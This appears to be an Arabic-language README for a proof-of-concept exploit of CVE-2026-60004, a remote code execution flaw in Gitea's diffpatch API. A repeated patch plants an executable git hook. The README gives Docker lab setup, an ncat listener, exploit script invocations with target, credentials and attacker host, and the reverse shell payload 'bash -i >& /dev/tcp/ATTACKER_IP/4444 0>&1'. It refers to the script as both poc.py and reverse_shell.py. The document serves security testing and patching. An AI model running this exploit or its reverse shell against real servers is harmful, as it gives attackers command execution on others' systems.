
Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
CVE-2026-60004 هي ثغرة تنفيذ برمجيات عن بُعد (RCE) في Gitea. تقوم واجهة برمجة التطبيقات
diffpatchبتطبيق تصحيح مُقدَّم عبرgit apply --cached، وهو أمر يجب أن يُحدِّث الفهرس فقط ولا يكتب الملفات إلى القرص أبدًا. من خلال إرسال نفس التصحيح مرتين، يمكن للمهاجم إجبار حدوث تعارض إضافة/إضافة (add/add) يؤدي إلى تفعيل الدمج ثلاثي الاتجاهات (-3) في Git. هذا المسار يتجاهل--cachedويستخرج الملف إلى شجرة العمل. ولأن النسخة المؤقتة bare، فإن جذر شجرة العمل الخاص بها هو$GIT_DIR. وبالتالي فإن التصحيح الذي ينشئ خطافhooks/post-index-changeقابلًا للتنفيذ يقوم بتثبيت خطاف Git نشط. ينفذ Git الخطاف عند التحديث التالي للفهرس، مما يسمح بتنفيذ الأوامر بحساب خدمة Gitea. يتطلب هذا المسار صلاحية كتابة في المستودع. إذا كان التسجيل مفتوحًا، يمكن للمستخدم إنشاء حساب وإنشاء مستودع والوصول إلى المسار البرمجي المعرض للثغرة.
| الفئة | الإصدار |
|---|---|
| المتأثر | Gitea1.17 حتى 1.27.0 |
| تم إصلاحه | Gitea1.27.1 أو أحدث |
git)قم ببناء وتشغيل بيئة Gitea المعرضة للثغرة من مجلد lab. تستخدم الصورة Gitea 1.27.0 وتترك التسجيل مفعّلًا.
docker build -t cve-2026-60004 .
docker run --rm -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
افتح http://127.0.0.1:3000 في المتصفح.
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| Gitea 1.17–1.27.0 | 1.27.0 |
| Git 2.32+ على الخادم | مضمّن في الصورة الرسمية |
| التسجيل المفتوح | مفعّل |
| صلاحية الكتابة في المستودع | يتم الحصول عليها عبر حساب مسجَّل ذاتيًا ومستودع مملوك |
استخدم إثبات المفهوم هذا فقط في بيئة معزولة تملكها أو مصرَّح لك باختبارها صراحةً.
/user/sign_up.main موجودًا.يستخدم reverse_shell.py القيمة المُمرَّرة إلى --user كاسم مستخدم المصادقة الأساسية (Basic Authentication) وكمالك المستودع. لذلك يجب أن يكون المستودع الهدف مملوكًا لذلك المستخدم.
على مضيف الاستدعاء، شغّل مستمعًا قبل تشغيل الاستغلال:
ncat -lvnp 4444
يجب أن يكون عنوان الاستدعاء قابلًا للوصول من حاوية Gitea. عندما يعمل المستمع على مضيف Docker، لا تستخدم 127.0.0.1 كقيمة --lhost؛ استخدم عنوانًا يمكن للحاوية الوصول إليه، مثل عنوان الشبكة المحلية للمضيف.
شغّل البرنامج النصي من مجلد lab واستبدل القيم النائبة:
python3 poc.py \
--url http://<TARGET_IP>:3000 \
--user <USER> \
--pw <PASSWORD> \
--repo <REPOSITORY> \
--lhost <ATTACKER_IP> \
--lport 4444
ينفذ البرنامج النصي الإجراءات التالية تلقائيًا:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1.hooks/post-index-change.POST /api/v1/repos/USER/REPO/diffpatch.يؤدي الطلب المتكرر إلى تفعيل آلية الدمج ثلاثي الاتجاهات الاحتياطية التي تكتب الخطاف في $GIT_DIR/hooks/. بعد ذلك يفتح الخطاف اتصال الصدفة العكسية بحساب خدمة Gitea.
يمكن أن يظل طلب HTTP الثاني مفتوحًا أثناء عمل الصدفة العكسية. افتراضيًا، ينتظر البرنامج النصي حتى 300 ثانية ويتعامل مع انتهاء مهلة الطلب الثاني كاحتمال نجاح الاستدعاء. استخدم --timeout لتغيير هذه القيمة:
python3 reverse_shell.py \
--url http://TARGET_IP:3000 \
--user USER \
--pw PASSWORD \
--repo REPO \
--lhost ATTACKER_IP \
--timeout 60
إعادة استخدام مستودع بعد محاولة ناجحة قد تترك مسار الخطاف مشغولًا. أنشئ مستودعًا جديدًا مُهيأً قبل إعادة المحاولة.
في المستمع، تحقق من سياق التنفيذ:
id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
يجب أن تعمل الصدفة بصلاحيات حساب خدمة Gitea (git).
يستخدم البرنامج النصي مكتبة بايثون القياسية فقط ولا يتطلب حزم بايثون خارجية.
docker stop cve-2026-60004
نظرًا لأن الحاوية بدأت باستخدام --rm، سيقوم Docker بإزالتها بعد توقفها.
DISABLE_REGISTRATION=true).| الخيار | مطلوب | الافتراضي | الوصف |
|---|
--url | نعم | — | رابط Gitea الأساسي، على سبيل المثالhttp://127.0.0.1:3000 |
--user | نعم | — | اسم مستخدم المصادقة الأساسية ومالك المستودع |
--pw | نعم | — | كلمة مرور الحساب |
--repo | نعم | — | اسم المستودع المُهيأ |
--lhost | نعم | — | عنوان استدعاء الصدفة العكسية القابل للوصول من الهدف |
--lport | لا | 4444 | منفذ استدعاء الصدفة العكسية |
--branch | لا | main | فرع الهدف الحالي |
--timeout | لا | 300 | مهلة كل طلب HTTP، بالثواني |